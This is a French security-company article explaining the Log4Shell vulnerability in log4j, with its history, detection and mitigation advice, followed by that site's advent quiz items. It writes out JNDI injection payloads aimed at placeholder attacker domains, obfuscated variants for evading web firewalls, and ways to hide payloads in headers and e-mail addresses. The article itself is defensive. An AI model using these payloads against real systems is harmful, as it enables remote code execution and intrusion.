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15/12/2021

Cybersecurity Insights

Log4Shell : Le cadeau de Noël empoisonné en cette fin d’année

Article mis à jour le 21 décembre 2021

Après une année riche en actualités sur le plan de la sécurité informatique, la fin 2021 donne le coup d’envoi d’un marathon pour les DSI et RSSI avec la vulnérabilité baptisée sous le doux nom de log4shell, présente dans une bibliothèque Java (log4j) qui permet de prendre le contrôle à distance, sans authentification, d’une liste immense de produits présents dans tous les systèmes d’informations en général, et qui demandera beaucoup d’efforts à tous les secteurs liés à l’informatique pour être corrigée.

La bibliothèque log4j

Java est un langage de programmation ultra populaire qui est utilisé pour des applications et des services web, mais aussi pour des applications mobiles, des backends, des serveurs et équipements qui présentent une interface web, etc. Ceci est dû à sa bonne portabilité entre les OS et au fait que ce langage dit de « haut niveau », facilite la vie des développeurs, grâce à de nombreuses méthodes préconstruites.

La bonne pratique de tout bon développeur qui se respecte est de journaliser (loguer) les événements qui se produisent sur la solution qu’il développe, principalement pour des raisons de corrections de bugs ou pour guider les corrections de problèmes en production. Pour ce faire, Java propose par défaut une bibliothèque native intitulée java.util.logging. Pour différentes raisons, notamment dû à sa simplicité / pauvreté, cette dernière est peu utilisée, et une bibliothèque alternative plus complexe et complète a été créée : log4j. https://web.archive.org/web/20190320144728/http://java.sys-con.com/node/48541

Il faut donc voir log4j comme une bibliothèque Open Source, qui permet de journaliser (loguer) de manière enrichie tout ce qui est nécessaire de l’être dans le code Java et de ce qui en découle lors de son exécution. Et cette petite bibliothèque, en réalité maintenue par deux volontaires sur leur temps personnel, demeure la principale bibliothèque utilisée dans les applications en Java (près de 800.000 projets l’utilisent sur GitHub).

A peu de choses près, on peut résumer la situation à :

Source de l’image : https://xkcd.com/2347/

Historique

En 2013, une nouvelle fonctionnalité a été demandée, par une tierce personne, sur le projet, et implémentée par les mainteneurs, entrainant la création de la vulnérabilité.

En 2015, un APT (groupe de cyberattaquants aux méthodes évoluées) gouvernemental exploite une vulnérabilité apparentée, à base de Java en mode applet sur RMI / JNDI et impactant le site de la Maison Blanche et de l’OTAN.

En 2016 a lieu une présentation à la conférence BlackHat, d’une attaque par désérialisation sur JNDI, mais lors de laquelle il reste malgré tout compliqué de faire un lien avec log4j :

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

Par des vecteurs JNDI, des attaquants peuvent produire une URL absolue changeant le protocole / fournisseur :

  • rmi://attacker-server/bar
  • ldap://attacker-server/cn=bar,dc=test,dc=org
  • iiop://attacker-server/bar

D’autres protocoles peuvent être utilisés pour réaliser l’attaque : http, corba, java, nis, dns, ldaps, nds,…

Il a été trouvé trois vecteurs principaux pour acquérir une exécution de code à distance à travers une injection JNDI :

  • RMI :
    • Référence JNDI,
    • Objet distant,
  • Via CORBA :
    • IOR,
  • Via LDAP :
    • Objets serialisés,
    • Référence JNDI,
    • Localisation distantes,

Via un vecteur RMI : Payload qui réfère à JNDI

  • Payload: JNDI Reference:
  • Naming Manager Decoding Method

2021 voit la première occurrence connue de l’utilisation de la vulnérabilité log4shell par des joueurs Minecraft en l’exploitant telle que présentée dans la conférence de la BlackHat de 2016 par désérialisation JNDI et l’auraient utilisée pour neutraliser des serveurs concurrents.

Source : https://arstechnica.com/information-technology/2021/12/minecraft-and-other-apps-face-serious-threat-from-new-code-execution-bug/

Toujours est-il que l’exploitation de la vulnérabilité a fini par être découverte, puis adressée aux deux développeurs bénévoles de log4j, qui l’ont aussitôt précorrigée. Cela étant, ces derniers n’ont pas notifié qu’il s’agissait vraiment d’une vulnérabilité au sens sécurité, ce qui a enterré le sujet pour quelques temps, n’a pas encouragé les utilisateurs à mettre à jour leurs versions, et a permis à ceux qui avaient connaissance de la faille de l’exploiter largement.

Mais Chen Zhaojun, chercheur de l’équipe sécurité d’Alibaba Cloud, qui cherchait à comprendre la raison de la dernière mise à jour, a officiellement reporté la correction comme étant une faille de sécurité le 12 novembre 2021.

Et là, c’est le drame : dans les jours qui ont suivi, de plus en plus de chercheurs ont essayé de comprendre la mesure de cette faille de sécurité avec surtout la publication des premiers codes d’exploitation les jeudi et vendredi dernier (9 et 10 décembre).

En quoi consiste la vulnérabilité log4shell ?

Log4j est un module qui, par défaut, essaie de trouver des variables dans les journaux pour les remplacer par leur valeur lorsqu’il analyse une chaine de caractère. A titre d’exemple, la variable ${username} permet de récupérer le nom de l’utilisateur courant.

Log4j interprète en particulier les JNDI, ces fameux Java Naming and Directory Interface, qui sont des interfaces logicielles permettant de récupérer le contenu d’une variable au travers du réseau (dont la vulnérabilité a été présenté à la BlackHat de 2016).

Dans le détail, comme indiqué plus haut, JNDI permet plusieurs types d’accès au réseau : annuaire (LDAP), résolution de nom (DNS), objet de type CORBA, appels à des méthodes distance (RMI), ou simplement des appels web (HTTP et HTTPS). Par exemple, dans le cas de JNDI, la variable ${jndi:ldap://domaine-malveillant.com/exploit} permet de récupérer une class Java par une requête d’annuaire LDAP. Cette fonctionnalité historique date de l’époque où Java appartenait à Sun/Oracle.

En conséquence, si une application utilisant Log4j reçoit une chaine de caractères contenant une variable JNDI, alors, elle sera interprétée par Log4j. Et si cette variable contient un lien vers un domaine contrôlé par un attaquant, ce dernier pourra répondre par une class Java qui sera exécutée, et qui sera, par exemple, en mesure d’installer un beacon Cobalt Strike.

La vulnérabilité (baptisée CVE-2021-44228) possède un score CVSSv3 de 10/10, c’est-à-dire le maximum possible, ce qui est assez rare. Il faut bien mesurer qu’il s’agit d’une exécution de code arbitraire à distance, sans authentification, qui plus est en Java, qui est très utilisé, et elle est surtout très facile à exploiter ce qui justifie amplement qu’elle ait le niveau de criticité le plus élevé.

La vulnérabilité s’activant lors de la réception de la chaine de caractères à journaliser, si une ligne de log est envoyée à n’importe quel collecteur de logs utilisant Log4j, où qu’il soit, il sera possible d’exécuter du code sur cet équipement, même s’il n’est pas exposé sur internet. C’est cette capacité à pénétrer le SI en profondeur qui rend la vulnérabilité si critique : si vous avez un SIEM hors-ligne basé sur ELK ou Splunk qui centralise vos logs, il peut être compromis.

Où la vulnérabilité est-elle présente ?

Une quantité astronomique d’entreprises, d’applications et de services, sont vulnérables, tellement Java est utilisé de manière omniprésente dans les SI. Voici plusieurs listes des produits vulnérables :

Même les GAFAM sont touchés : Apple avec iCloud, AWS dont le service S3, mais aussi Azure. Not « too big to fall ».

Également de grands noms du domaine de l’infrastructure : Cisco sur beaucoup de produits, CloudFlare, VMWare dont vCenter, le proxy Cloud de Zscaler, les Apache Solr, Druid, Flink, Struts2, etc.

De nombreux backends d’éditeurs d’EDR, dont des leaders du marché, peuvent être compromis, et laissent potentiellement accès aux données des clients.

Bien sûr, beaucoup de services qui traitent des logs et du monitoring (tels les SIEMs), même non exposés sur le web, le sont aussi : ELK, Splunk, Logstash, SolarWinds, etc.

Au-delà des éditeurs impactés, si l’on se concentre sur les nombreuses applications “faites maison” qui sont légions dans les SI, c’est aussi le fait que cette vulnérabilité soit exploitable de façons extrêmement variées qui rend compliquée la mise en service de moyens de mitigations par des contournements. Par exemple, la vulnérabilité est exploitable en utilisant une simple requête HTTP sur un site ou une application vulnérable, et en mettant le payload dans les entêtes classiques comme Referer, User-Agent, ou XFF, du temps qu’elle est loguée et son champ interprété. Exemples de services web en Java qui vont journaliser certains des entêtes comme User-Agent : https://twitter.com/u039b/status/1469375014046687239?s=11

La vulnérabilité est également exploitable en positionnant le payload dans :

  • Certains en-têtes des mails, et même l’adresse mail de l’expéditeur (car la chaine coucou+(${jndi:ldap://domaine-malveillant.com/exploit})@mon-domaine.com » est une adresse mail valide au sens de la RFC 822),
  • L’identifiant et le mot de passe pour s’authentifier sur un site (vu sur un réseau social),
  • Le nom d’un réseau Wi-Fi, ou d’un nom d’appareil mobile sur un réseau Bluetooth,
  • Les métadonnées des images et des fichiers type PDF, Word, Excel…
  • Nom de fichier sur un site de Pasties (Pastbin),
  • Revue documentaire d’un livre,
  • Contenu d’un SMS,
  • Ticket remonté au support client,

Versions affectées :

  • log4j versions 2.0-beta9 à 2.12.1 > A mettre à jour vers log4j-2.12.3 pour Java7
  • log4j versions 2.13.0 à 2.15.0 > A mettre à jour vers log4j-2.17.0 pour Java8 ou supérieur

Qui exploite la vulnérabilité et dans quel but ?

Comme lors de toute publication d’une vulnérabilité avec un code d’exploitation dans la nature impactant des actifs exposés sur le web, la campagne d’exploitation commence par des sessions de scans massifs venant du web. Selon Kaspersky, les IP publiques remontées dans les premiers jours de la campagne de scan sont principalement en provenance de la Russie et du Brésil, mais étonnamment, très peu de Chine. Voici des listes d’IPs et domaines connus à bloquer sans trop de crainte :

Pour l’instant, on n’observe que le déploiement de cryptomineurs, et assez peu de ransomware (seul Khonsari a été reporté mardi 14 décembre). Mais ceci peut facilement s’expliquer par le fait :

  • Qu’il faut un certain temps pour effectuer l’escalade de privilèges dans un SI et compromettre l’AD,
  • Que ce ne sont pas les mêmes groupes qui exploitent ces vulnérabilités en déposant des backdoors qui sont revendues sur le Darknet, au profit d’autres groupes qui, eux, compromettent l’AD et déploient le ransomware.
  • Que d’autres types d’attaques tout aussi lucratives, beaucoup plus furtives et qui laissent peu de traces passent sous le radar : les vols de données numériques et de propriété intellectuelle par exfiltration de données. Sophos indique qu’il a observé des attaquants contacter des EC2 ou Bucket S3 AWS pour y voler tous les jetons API des applications, logins et mots de passe, clefs privées, etc. Ces attaques, en première apparence moins impactantes qu’un ransomware, sont, en effet, moins traquées par les autorités judiciaires. Il est donc plus probable de passer entre les mailles du filet judiciaire qui a vu, ces derniers mois, attraper de nombreux groupes non « bulletproof » en Europe. Le gain financier étant tout aussi intéressant que dans les attaques par ransomware, puisque les données récoltées se revendent très bien sur le Darknet contre Bitcoin et Monero.

A noter que ces reventes de données récoltées (dont des backdoors déposées) pourront être exploitées dans les jours, semaines et mois suivants par des groupes ransomware. Il ne faut donc surtout pas se sentir protégé si le sentiment de première vague retombe et que la pression médiatique s’amenuise. Typiquement, les groupes APT gouvernementaux / services de renseignements sont adeptes de la multiplicité de backdoors dans un SI victime, pour finalement n’utiliser qu’une des backdoors répondant, parfois longtemps après l’avoir déployée.

Comment détecter l’exploitation de la vulnérabilité dans son SI ?

Le meilleur moyen de savoir si la vulnérabilité a été exploitée dans son SI, à l’heure actuelle, reste de regarder dans tout son historique de logs, pour constater si des traces des chaines de caractères évoquées plus haut sont présentes. Etant donné que cette vulnérabilité aurait pu ne jamais être découverte, il est peu probable que les chaines de caractères aient été obfusquées (si l’exploitant initial n’était pas un ATP), ce qui facilitera sa recherche. Mais les exploitations futures de la vulnérabilité (et on le voit dès cette semaine) seront immanquablement obfusquées pour bypasser les WAF. Aussi, si un ATP a pu obtenir connaissance de l’exploit, avant sa publication, il est probable qu’il ait cherché à l’obfusquer afin de conserver la vulnérabilité secrète le plus longtemps possible. Ce qui rend la détection de log4shell particulièrement compliquée, c’est que la chaine de caractères JNDI n’est pas loguée quand l’exploit est opéré avec succès (puisque la chaine est interprétée par le logger log4j). Cela revient à chercher un champ vide dans ses logs. Il faut donc s’appuyer sur un autre équipement, qui logue le contenu du trafic sans être vulnérable à l’exploit, pour rechercher la chaine de caractère : typiquement, il peut être intéressant de s’appuyer sur un WAF. Concernant l’étude des logs à long terme dans le passé (à froid), cela reste un exercice compliqué, car un gros volume de logs (sur un an ?) doit être chargé pour être exploré, ce qui demande d’importantes ressources de traitement (CPU, stockage) pour un résultat, si négatif, qui ne garantira pas pour autant que la vulnérabilité n’a pas été exploitée sur le SI. Pour l’étude récente dans les logs, il suffit de détecter des “${“ dans une chaine de caractères mais avec un risque important de faux positifs. Il faut aussi chercher les autres caractères non obfuscables contenus dans la chaine, avec par exemple l’expression régulière : “\${.*\:.*\/.*\/.*}” Il peut être intéressant, en parallèle de chercher dans ses logs, de scanner son SI à la recherche de la vulnérabilité. Pour ceci, plusieurs outils sont proposés par la communauté : Un scan manuel est également possible en créant un token avec l’outil https://canarytokens.org/generate# Il faut choisir le token DNS :

Copiez le token généré :

Le payload se constitue alors de : ${jndi:ldap:// fh1plcnattqthz612javvp1l3.canarytokens.com/a}

Il est alors utilisable pour tester une application, dans un paramètre de recherche, par exemple.

Pour tester le bon fonctionnement d’un payload, vous trouverez ici une application vulnérable réalisée exprès pour ça : https://github.com/leonjza/log4jpwn  

Source de l’image : CERT-DS

Détecter la présence de la vulnérabilité avec le Security Rating

Le Security Rating est un service proposé par Almond. Son objectif est de produire une note représentant la performance et la maturité cyber sécurité d’une organisation par une évaluation automatisée, continue et reproductible sur la base de données observables publiquement. Au regard de la sévérité de log4shell, la société Almond a décidé d’implémenter un test dédié au sein même du Security Rating. Ce test, non intrusif, permet de recenser les actifs potentiellement vulnérables d’une entreprise.

Si vous êtes déjà client, vous pouvez consulter les résultats de ce test dans la partie « Contrôle de sécurité », disponible sur l’évaluation d’une société :

Le problème de l’obfuscation

Du fait des différentes possibilités d’écritures des chemins JNDI et de leur interprétation par Java, il est possible de facilement obfusquer l’exploit (on en compte plus d’une soixantaine dans la nature mardi 14 décembre). En voici quelques exemples :

  • ${jndi:dns://ici-le-domaine-malveillant.com/exploit}
  • ${jndi:${lower:l}${lower:d}a${lower:p}://ici-le-domaine-malveillant.com/exploit}
  • ${$lower:J}${lower:n}${lower:D}i:${lower:rMi}://ici-le-domaine-malveillant.com/exploit}
  • ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ici-le-domaine-malveillant.com/exploit}

Voici un tweet avec encore plus d’obfuscation : https://twitter.com/wugeej/status/1469982901412728832

Voici un repository Github de CrowdSec contenant des exploits à taguer dans votre WAF : https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/log4j2_cve_2021_44228.txt

Cela dit, il existe tellement d’entreprises exposées à la vulnérabilité sur le web, pour encore plusieurs semaines / mois, que la généralisation de l’obfuscation pourrait mettre un peu de temps à arriver. Mais attention, des PoC ont été vus depuis samedi 11 décembre à ce sujet. Ces obfuscations présentent un intérêt évident, dès à présent, pour les APT qui ciblent des entités particulières en liste blanche (à la différence des attaques opportunistes des groupes cybercriminels).

C’est aussi le fait que cette vulnérabilité soit exploitable de manières extrêmement variées qui rend compliquée son contournement ou la production de moyens de mitigations. Il est donc indispensable, en plus de mener une campagne de contournement court-termiste, de planifier coute que coute un plan d’upgrade de la bibliothèque elle-même.

Comment répondre à la menace ?

Recommandation n°1 : Prévoir un marathon.

La remédiation se fera dans la durée. Ne mettez pas vos équipes sur le pont à bosser 100 heures cette semaine, car les semaines suivantes risquent d’être également longues, et ce, pour un long moment.

Pour ne rien arranger, les fêtes de fin d’année, les équipes réduites, et les freezes de fin d’année réduiront la possibilité de réagir vite et fort.

En guise d’exemple, quand on sait que VMWare vSphere est impacté et que les séances de patching vont imposer les redémarrages de tous les hyperviseurs, certaines DSI vont avoir de longs weekends à venir.

Recommandation n°2 : Se réapproprier son SI.

S’il est rare de voir une société posséder une CMDB à jour, celles qui dressent la liste de leurs applications et de leurs dépendances sont infimes. La première étape opérationnelle va être de dresser une liste précise des applications, services, éditeurs présents dans le SI qui sont susceptibles d’utiliser log4j. Ainsi, plus concrètement :

  1. Sur tous les serveurs sur lesquels les équipes d’administration ont accès au système de fichiers, il faut traquer ceux qui utilisent Java.
  2. Et parmi les serveurs qui utilisent Java, il faut identifier ceux qui utilisent log4j (aidez-vous des outils cités plus haut). A noter que la présence de log4j n’implique pas forcément son utilisation par une application, mais dans le doute, il ne faut pas prendre de risque. Il est conseillé de prioriser en commençant par les machines exposées sur Internet. Dans tous les cas, il faut partir du principe qu’il sera impossible de confirmer à 100% la non présence du fichier .jar sur un serveur, car ceux-ci s’installent n’importe où. Vérifier une liste d’applications installée ne sera pas d’une plus grande efficacité.
  3. Pour les boites noires, il faut rester attentifs aux communications des éditeurs quant aux mises à jours de sécurité proposées et aux listes publiques d’équipements et produits vulnérables (cf les listes citées plus haut). Un éditeur qui se déclare non vulnérable ne l’est que jusqu’à ce qu’il révise sa position : il faudra rester vigilant dans la durée.
  4. Ensuite, il faudra identifier les serveurs qui utilisent les versions 1.x ou 2.0 – 2.15.0 de log4j pour Java 7 ou 8+, car ceci vous guidera dans vos roadmaps de remédiation avec un choix cornélien : mettre à jour ou appliquer un contournement. La version 1.x doit également être mise à jour, car vulnérable à un autre exploit de score CVSSv3 critique de 9.8 qui date de 2019 (CVE-2019-17571).

Recommandation n°3 : Activer un filtrage sortant strict et segmenter.

L’exploitation de la vulnérabilité se fait en répondant à la requête de l’attaquant. La priorité n°1 est donc de désactiver l’accès à internet pour les serveurs qui n’en ont pas besoin. Mais ceci enfonce une porte ouverte, puisqu’il est inutile de rappeler que dans les bonnes pratiques, tout serveur interne est bien cloisonné et ne laisse sortir aucun trafic vers internet. Il existe cependant des exceptions pour les serveurs propriétaires qui ont besoin de contacter leur éditeur pour des raisons de licence, mais cet accès à internet doit être filtré par une liste blanche.

S’équiper d’un proxy et plus généralement d’un WAF va se révéler plus utile que jamais. Mais attention, comme les éditeurs de WAF vont développer des filtres pour parer les attaques, les attaquants vont finir par s’adapter et passer outre au bout d’un moment. Le joker WAF ne peut être qu’une solution temporaire de protection.

Par ailleurs, en cas de prise de position dans le SI par un attaquant, une des meilleures pratiques pour la ralentir et/ou limiter ses actions reste, a minima, de segmenter correctement son SI afin d’isoler les applications critiques et les fonctions d’administration du reste.

Recommandation n°4 : Appliquer les correctifs temporaires de contournement.

En bloquant les variables DNS et en filtrant le trafic vers internet (point n°3), il doit être possible d’éviter d’avoir à mettre à jour son code Java dans l’urgence. Ce postulat est intéressant, car la mise à jour du code représente un défi énergivore pour les applications maisons, avec de longues campagnes de tests de non-régression.

Voici comment mettre en place une variable désactivant les résolutions de noms, ce qui permettra de diminuer l’exploitation de la vulnérabilité :

  • Soit en modifiant la ligne de commande de l’appel au logiciel : # java … ‐Dlog4j2.formatMsgNoLookups=True … -jar mon_appli_toute_moisie.jar
  • Soit en mettant en place une variable d’environnement dans le fichier .profile du compte exécutant le service : « export LOG4J_FORMAT_MSG_NO_LOOKUPS=true»
  • Pour les applications en Docker, dans les fichiers dockerfile ou docker-compose.yml, plus d’informations ici : https://www.docker.com/blog/apache-log4j-2-cve-2021-44228/

Plus d’informations ici : https://www.rumble.run/blog/finding-log4j/

Mais attention : les contournements ne font que rendre plus complexe l’exploitation de la vulnérabilité pour les attaquants. Tout comme avec la mise en place des règles sur les WAF, il va y avoir une course poursuite entre propositions de contournement et obfuscation / évolution des techniques des attaquants. La seule solution pérenne et efficace reste de mettre à jour la bibliothèque log4j.  

Recommandation n°5 : Patcher et mettre à jour

Il devrait y avoir de nombreuses propositions de patchs successifs de la part des éditeurs, car la vulnérabilité ne sera pas aisée à fixer définitivement pour de nombreux produits. Ceci s’explique par le fait que les éditeurs font bien souvent face aux mêmes défis que nous : les premiers patchs, disponibles rapidement, rendent l’exploitation de la vulnérabilité plus compliquée pour les attaquants, puis les patchs suivants désactivent définitivement la possibilité de son exploitation. Dans le cas d’applications maison, il n’y a pas d’autre issue possible que la mise à jour vers log4j 2.17.0.

Recommandation n°6 : Avoir un plan et des moyens pour la sécurité de son SI.

A terme, il faudra fiabiliser la gouvernance et l’analyse de risques au sein de l’équipe de sécurité de son SI en lui donnant des moyens financiers et humains pour faire de la veille pour surveiller les communications des éditeurs, regarder les bulletins du CERT-FR de l’ANSSI, qui reste une référence francophone, mais aussi regarder les logs dans la durée, mais aussi dans le passé, pour détecter une éventuelle compromission. Attention, les logs qui remontent peuvent avoir un retard de plusieurs heures : il faut pouvoir réagir vite et bien quand un positif remonte.

Dans cette démarche d’amélioration continue de la maturité de la sécurité de son SI, il peut être utile de faire appel à un SOC dans une démarche efficace et pérenne. Le SOC CERT CWATCH Almond, fort de sa longue expérience, et se ferait un plaisir de vous compter parmi les clients qu’il protège 😊

Recommandation n°7 : Soutenir le développement libre.

Tout ceci ne serait peut-être pas arrivé si la communauté Java ne s’était pas reposée sur une bibliothèque entretenue depuis 2003 par deux individus travaillant en best effort sur leur temps personnel. Aider en finançant la communauté Open Source est indispensable pour notre avenir. Les fondations Mozilla et Wikipédia, émanations grand public du développement collaboratif, en sont les avatars et vous êtes heureux d’en profiter quotidiennement. Soutenez-les et parlez-en autour de vous.

L'équipe SOC CERT CWATCH

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Nous vous souhaitons de joyeuses fêtes de fin d’année hautes en couleur et à l’année prochaine pour une année 2024 exaltante ! 🎉

🎁 Merci à tous pour votre participation au quiz de l’avent, nous contacterons le gagnant très prochainement.

🎅 Chez Almond, l’esprit festif des fêtes de fin d’année est arrivé en avance !

Nos collaborateurs ont profité d’une soirée chaleureuse et joyeuse dans l’un des restaurants les plus spectaculaires de Paris, Le Cirque avec un cocktail dinatoire, des surprises et un Secret Santa.

Et un peu plus de magie de Noël ? Almond a également ouvert ses portes aux familles de nos collaborateurs pour une après-midi conviviale autour de l’arbre de Noël. Les enfants ont été captivés par des contes enchantés, de 1001 contes Constance Felix et ont savouré un goûter délicieux avec des chocolats chauds préparés par les Empotés. Le Père Noël a distribué des coloriages géants et des cadeaux pour le plus grand bonheur des enfants 🎁

Jour 23 : Quel est l’un des avantages de la communication et de la concertation des parties intéressées dans le processus de gestion des risques liés à la sécurité de l’information ?

  • Réponse 1 : La comparaison des résultats réels du processus de gestion des risques avec les résultats prévus lors de l’évaluation des risques.

  • Réponse 2 : Elle permet de prendre en compte différentes perspectives lors de l’établissement des critères de risque et l’évaluation des risques.

  • Réponse 3 : L’assurance que tous les risques soient communiqués à toutes les parties intéressées, quelles que soient la nature et la sensibilité de ces risques.

Laïus explicatif : La mise en place d’un processus de communication et de consultation en matière de gestion des risques liés à la sécurité de l’information a pour avantage l’amélioration des connaissances des employés concernant les risques et le processus de gestion des risques, la prise en compte de différentes perspectives lors de l’établissement des critères de risque et de l’évaluation des risques, l’amélioration de la gestion du changement au cours du processus de gestion des risques, et la garantie que chacun comprend son rôle et ses responsabilités.


Précision : une partie intéressée (le terme « partie prenante » est admis) est une personne ou un organisme susceptible d’affecter, d’être affecté ou de se sentir lui-même affecté par une décision ou une activité (extrait de la norme ISO 27001).
Les parties intéressées externes peuvent inclure les régulateurs et législateurs, les actionnaires, y compris les propriétaires et investisseurs, les fournisseurs, y compris les sous-traitants, consultants et partenaires d’externalisation, les associations industrielles ou autres, les concurrents, les clients et consommateurs, et les groupes d’activistes.
Les parties intéressées internes peuvent inclure les décideurs, y compris la direction générale, les propriétaires de processus, de systèmes et d’informations, les fonctions de soutien telles que l’informatique ou les ressources humaines, les employés et les utilisateurs, et les professionnels de la sécurité de l’information.

Jour 22 : CTF #4 de l'avent

Voici la solution du CTF #4 de l’avent

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Jour 21 : En communication de crise, qu’appelle-t-on l’effet « streisand » ?

  • Réponse 1 :  Une technique de réponse face aux journalistes

  • Réponse 2 :  Un phénomène médiatique involontaire

  • Réponse 3 :  Une posture de communication non-verbale

  • Réponse 4 :  Une stratégie de communication en temps de crise

Laïus explicatif : En communication de crise, l’effet « streisand » est un phénomène médiatique qui se produit lorsqu’une organisation souhaite cacher, supprimer ou censurer des informations la concernant et que cela la conduit à une augmentation involontaire de la visibilité de ces informations.

Ce phénomène fait échos à la chanteuse et actrice américaine Barbra Streisand. En effet, en 2003, Barbra Streisand avait essayé de supprimer une photographie de sa résidence en Californie et cela a conduit à une plus grande attention portée à cette photographie. Cet effet prend souvent de l’ampleur grâce à la couverture médiatique, le bouche-à-oreille ainsi que les réseaux sociaux (qui vont propager l’information encore plus rapidement).

 

Exemple d’entreprise :

En novembre 2022, la FNAC s’est retrouvée au cœur d’un débat politique lorsqu’elle a mis en vente un jeu intitulé « Antifa ». Il propose aux joueurs d’incarner des militants chargés de déjouer les « exactions d’extrême droite » en leur opposant « une résistance de force égale ou supérieure ». À la suite de cette polémique, la FNAC a décidé de retirer le produit de ses ventes le dimanche 27 novembre 2022 puis, après « analyse », de le remettre en vente le 29 novembre.

La polémique générée par les critiques d’extrême droite a permis de mettre en lumière le jeu alors qu’il aurait pu passer sous les radars.

En voulant arrêter la polémique naissante sur les réseaux sociaux, l’entreprise a pris l’option risquée de réagir très vite par le retrait temporaire du jeu afin d’analyser son contenu. Elle s’est ainsi retrouvée au cœur d’un débat politique.

 

Notre opinion :

Afin d’éviter l’effet « Streisand », il faut mettre en place des veilles médiatiques régulières pour surveiller et analyser le contexte médiatique. De plus, il faut évaluer avec soin l’information en question, en se demandant si cette information est vraiment susceptible de causer un préjudice important et si la tentative de censure est justifiée.

Néanmoins, il faut avoir en tête qu’avec l’évolution des médias et la rapidité de diffusion de l’information, chercher à supprimer une information met davantage les organisations sous le feu des projecteurs. Ainsi, il faut parfois relativiser et accepter que cette information ait été diffusée. C’est grâce à l’analyse du contexte médiatique que les entreprises pourront évaluer l’impact que peut avoir cette information dans les médias et ainsi décider de communiquer ou non.

Jour 20 : Quel type d’attaque consiste à intercepter et à lire les informations sensibles, telles que les identifiants de connexion, en transit entre un utilisateur et un site web ?

  • Réponse 1 : Attaque par déni de service (DDoS)

  • Réponse 2 : Attaque par force brute

  • Réponse 3 : Attaque par interception (Sniffing)

  • Réponse 4 : Attaque de phishing

Laïus explicatif : Une attaque par interception, également connue sous le nom de “sniffing”, est une méthode utilisée par les cybercriminels pour capturer et inspecter les données qui sont transmises sur un réseau.

L’attaquant utilise un logiciel d’interception de paquets (sniffer) pour capturer les données à mesure qu’elles passent sur le réseau. Ces données peuvent inclure des informations sensibles telles que des noms d’utilisateur, des mots de passe, des numéros de carte de crédit, etc.

Jour 19 : Quelles sont les différentes briques fonctionnelles composant habituellement les plateformes SASE (Secure Access Service Edge) ?

  • Réponse 1 : XDR (Extended Detection & Response), IDS (Intrusion detection System), CRL (Certificate Revocation List), ZTNA (Zero-Trust Network Access), anti-SPAM

  • Réponse 2 : SD-WAN (Software-Defined WAN), ZTNA (Zero-Trust Network Access), Bastion, EDR

  • Réponse 3 : SD-WAN (Software-Defined WAN), CASB (Cloud Access Security Broker), SWG (Secure Web Gateway), FWaaS (Firewall-as-a-Service), ZTNA (Zero-Trust Network Access)

  • Réponse 4 : SDS (Santa Detection System), CaaS (Chocolate as a Service), STAR (haut du sapin), CD-TTWU (Children-Defined Time to Wake Up), XMS (Extended Meals & Stomach)

Laïus explicatif : Gartner définit le SASE comme la convergence entre le réseau et la sécurité, incluant SD-WAN, SWG, CASB, NGFW et zero trust network access (ZTNA). Certains fournisseurs de plateforme SASE prévoient d’étendre leurs offres en y intégrant EDR et XDR.

Jour 18 : Quels types de données une solution DLP vise-t-elle généralement à protéger ?

  • Réponse 1 : Uniquement les données personnelles des employés.

  • Réponse 2 : Toutes les données, indépendamment de leur sensibilité.

  • Réponse 3 : Uniquement les données stockées sur des serveurs internes.

  • Réponse 4 : Les données sensibles et confidentielles, telles que les informations financières ou médicales.

Laïus explicatif : Les stratégies et solutions DLP visent généralement à protéger les données sensibles et confidentielles, telles que les informations financières, médicales, ou tout autre type de données qui, si perdues ou compromises, pourraient causer des dommages importants à une organisation.

Jour 17 : D'après Hyperproof, quel est le pourcentage moyen de non-respect des réglementations en matière de protection des données telles que le RGPD et des faiblesses des mesures de cybersécurité entraînant des vulnérabilités dans la protection des données de l'entreprise et des clients, observé dans les entreprises du secteur technologique ?

  • Réponse 1 : 10%

  • Réponse 2 : 25%

  • Réponse 3 : 40%

  • Réponse 4 : 55%

Laïus explicatif : Une étude récente menée par Hyperproof (logiciel de gestion de la conformité) parmi les 1029 personnes interrogées a montré que 25% des entreprises technologiques font face à des problèmes de non-conformité chaque année. Elles ont connu au moins une violation de la conformité ou un manquement, comme un non-respect des réglementations en matière de protection des données telles que le RGPD et des faiblesses des mesures de cybersécurité entraînant des vulnérabilités dans la protection des données de l’entreprise et des clients. Cela montre l’importance d’une gestion efficace des risques et de la conformité pour éviter les sanctions et maintenir une bonne réputation. Les entreprises doivent investir dans des formations, des audits réguliers et des technologies de surveillance pour s’assurer qu’elles restent dans les limites des réglementations en vigueur.

Jour 16 : Quelle fonctionnalité d’un serveur proxy permet à un administrateur réseau d’exposer des sites web hébergés sur son réseau à des utilisateurs externes ?

  • Réponse 1 : Proxy de transfert

  • Réponse 2 : Protocole HTTP

  • Réponse 3 : Protocole proxy

  • Réponse 4 : Proxy inverse

Laïus explicatif : Un proxy inverse peut être un serveur ou une application qui se place devant un serveur Web pour intercepter et inspecter les demandes entrantes des clients avant de les transmettre au serveur Web. Ce serveur permet aussi de renvoyer la réponse du serveur au client (par exemple, les navigateurs web).

Les solutions de proxy inverse sont généralement déployées pour améliorer la sécurité, les performances et la fiabilité.

Le protocole HTTP décrit la méthode de communication client/serveur afin d’échanger différentes ressources qui composeront un site Web.

Le protocole proxy décrit la méthode d’encapsulation qui permet de conserver les informations d’origine du client au sein de l’échange TCP « proxifié » entre le client et le serveur Web.

Avec un proxy de transfert, contrairement au Proxy inverse, l’utilité va être de protéger les utilisateurs et non les serveurs Web. Le proxy de transfert va intercepter les requêtes des utilisateurs à destination des serveurs Web afin de bénéficier d’une meilleure confidentialité et de contrôler l’accès à certaines catégories de contenus.

Jour 15 : CTF #3 de l'avent

Voici la solution du CTF #3 de l’avent

  • Flag : CWATCH{02/12/2021_18:50:00}

Jour 14 : Quel principe directeur d’ITIL prend en compte l’importance de la fidélisation des clients ?

  • Réponse 1 : Progresser de manière itérative grâce aux feedbacks
  • Réponse 2 : Commencer là où vous êtes
  • Réponse 3 : Optimiser et automatiser
  • Réponse 4 : Se concentrer sur la valeur

Laïus explicatif : Le principe « privilégier la valeur » implique que toute initiative de l’organisation doit être liée, directement ou indirectement, à la valeur qu’elle dégage pour les parties prenantes. Il englobe plusieurs perspectives, notamment l’expérience des clients et des utilisateurs.

Jour 13 : Qu'est-ce que l'ingénierie sociale dans le contexte de la cybersécurité ?

  • Réponse 1 : Une méthode de construction de logiciels de réseaux sociaux sécurisés
